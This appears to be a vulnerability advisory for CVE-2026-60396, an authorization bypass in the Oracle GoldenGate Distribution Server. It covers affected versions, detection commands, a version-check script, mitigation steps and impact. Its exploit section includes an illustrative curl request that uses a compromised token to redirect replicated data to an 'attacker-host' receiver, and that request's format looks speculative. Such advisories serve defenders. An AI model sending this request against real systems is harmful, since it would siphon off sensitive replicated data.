CVE-2026-60396
Oracle GoldenGate is an enterprise-grade, real-time data replication and integration middleware widely deployed in mission-critical environments for capturing, routing, and applying transactional data across heterogeneous database systems. At the heart of its microservices architecture lies the Distribution Server executable, a component responsible for securely distributing trail data over HTTPS to downstream receivers. This component exposes a management and control interface over the network, handling authentication, path configuration, and data transfer coordination.
The vulnerability exists in the request handling and authorization logic of the Distribution Server. Specifically, the executable fails to properly validate or restrict certain high-privilege operations invoked via its HTTPS API. While the attack requires the attacker to possess valid high-privilege credentials (CVSS Privileges Required: High), once those credentials are obtained — whether through credential theft, insider abuse, or compromised service accounts — the attacker can craft and send malicious HTTPS requests that bypass additional internal permission checks.
The flaw is not a typical unauthenticated remote code execution; rather, it is an authorization bypass that allows an already-privileged user to escalate their capabilities beyond intended boundaries. Upon successful exploitation, the attacker can execute arbitrary operations with the full authority of the Distribution Server process, effectively taking complete control of the GoldenGate instance. This includes the ability to read sensitive replicated data, modify or delete trail files, redirect data flows to attacker-controlled receivers, and potentially pivot to connected database systems. The CVSS 3.1 Base Score of 7.2 reflects high impacts across confidentiality, integrity, and availability, with the attack vector being network-based, attack complexity low, and no user interaction required.
Affected versions include Oracle GoldenGate 21.3 through 21.21 and 23.4 through 23.26.1. The vulnerability was addressed in Oracle’s July 2026 Critical Patch Update (CPU), which was released on July 21, 2026, as part of a massive quarterly patch cycle containing 1,449 new security patches across 32 product families. Oracle strongly recommends that customers remain on actively-supported versions and apply security patches without delay.
DailyCVE Form:

Version: 21.3-21.21, 23.4-23.26.1
Vulnerability: Privilege Escalation / Takeover
Severity: High (CVSS 7.2)

Prediction: Patch available July 2026 CPU
What Undercode Say:
Check Oracle GoldenGate version $ ggAdmin info Output example showing vulnerable version Oracle GoldenGate 21.15.0.0 Verify Distribution Server endpoint exposure $ curl -k https://goldengate-host:9011/services/v2/health Check if the July 2026 CPU patch is applied $ opatch lsinventory | grep -i "july 2026" Alternative: Query the Distribution Server version via API $ curl -k -u admin:password https://goldengate-host:9011/services/v2/version
Affected version detection script:
!/bin/bash VERSION=$(ggAdmin info | grep -oP 'Oracle GoldenGate \K[0-9]+.[0-9]+') if [[ "$VERSION" =~ ^21.([3-9]|1[0-9]|20|21)$ ]] || [[ "$VERSION" =~ ^23.([4-9]|1[0-9]|2[0-6])$ ]]; then echo "VULNERABLE: Version $VERSION is affected by CVE-2026-60396" else echo "Version $VERSION is not in the affected range" fi
Check Distribution Server HTTPS endpoint accessibility:
$ nmap -p 9011,9012,9013 --script ssl-enum-ciphers goldengate-host
Exploit:
The exploitation vector requires the attacker to have network access to the Distribution Server’s HTTPS management interface and possess high-privilege credentials (e.g., an administrative user). Once these prerequisites are met, the attacker can send crafted HTTPS requests that exploit the insufficient authorization checks within the Distribution Server executable.
Conceptual exploit flow:
- Authenticate to the Distribution Server API using stolen or compromised high-privilege credentials.
- Send a maliciously crafted HTTPS POST request to an endpoint that normally requires additional internal permission checks.
- Due to the validation flaw, the server processes the request without enforcing the intended restrictions.
- The attacker can then execute arbitrary administrative operations, including:
– Modifying or deleting trail files
– Creating unauthorized distribution paths
– Redirecting replicated data to attacker-controlled receivers
– Stopping or restarting GoldenGate processes
Example of a crafted request (illustrative only)
$ curl -k -X POST https://goldengate-host:9011/services/v2/paths \
-H "Authorization: Bearer <compromised_token>" \
-H "Content-Type: application/json" \
-d '{"action":"create","path":"/tmp/malicious","target":"attacker-host:9090"}'
The vulnerability is easily exploitable (Attack Complexity: Low) and does not require user interaction, making it an attractive target for attackers who have already established a foothold in the network.
Protection:
1. Apply the Official Patch (Recommended)
- Upgrade to Oracle GoldenGate version 21.22 or later, or 23.27 or later.
- These versions are included in the Oracle July 2026 Critical Patch Update (CPU).
- Download the patch from My Oracle Support (MOS) and follow the installation instructions provided in the CPU advisory.
2. Network Segmentation
- Restrict HTTPS access to the Distribution Server to trusted, internal hosts using firewalls or network access control lists (ACLs).
- Place the GoldenGate Distribution Server in a dedicated management network segment.
- Use VPN or bastion hosts for administrative access.
3. Strengthen Authentication
- Ensure that the HTTPS service requires strong authentication mechanisms.
- Enforce proper certificate validation for all HTTPS connections.
- Implement multi-factor authentication (MFA) for administrative accounts.
- Rotate credentials regularly and use privileged access management (PAM) solutions.
4. Monitoring and Detection
- Enable detailed audit logging on the Distribution Server.
- Monitor for unusual API requests, especially those originating from unexpected IP addresses.
- Set up alerts for failed authentication attempts and privilege escalation patterns.
5. Temporary Workaround
- If patching is not immediately feasible, consider temporarily disabling the Distribution Server’s HTTPS interface if not required for operations.
- Apply strict IP-based allowlisting to the Distribution Server ports (typically 9011, 9012, 9013).
Impact:
Confidentiality:
- Successful exploitation allows full read access to all data processed by GoldenGate, including sensitive transactional data replicated across databases.
- Attackers can exfiltrate customer records, financial data, and intellectual property.
Integrity:
- Attackers can modify or delete trail files, corrupting the replication stream.
- Unauthorized changes to distribution paths can redirect data to malicious receivers.
- Data tampering can lead to inconsistent database states and business logic corruption.
Availability:
- Attackers can stop GoldenGate processes, disrupting real-time data replication.
- Extended downtime can impact disaster recovery, data synchronization, and business continuity.
- Restoration of service may require forensic investigation and re-synchronization of large datasets.
Business Impact:
- As GoldenGate is often deployed in financial services, healthcare, and e-commerce, a successful takeover can lead to regulatory fines, reputational damage, and loss of customer trust.
- The CVSS 3.1 Base Score of 7.2 (High) underscores the severity, with the vector string
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
Exploitability Context:
- While the EPSS score is currently reported at less than 1%, indicating low likelihood of active exploitation at present, the severe impact makes patching a priority.
- The vulnerability is not listed in the CISA KEV catalog as of the disclosure date.
- However, given the widespread deployment of Oracle GoldenGate in enterprise environments, organizations should treat this as a high-priority remediation item.
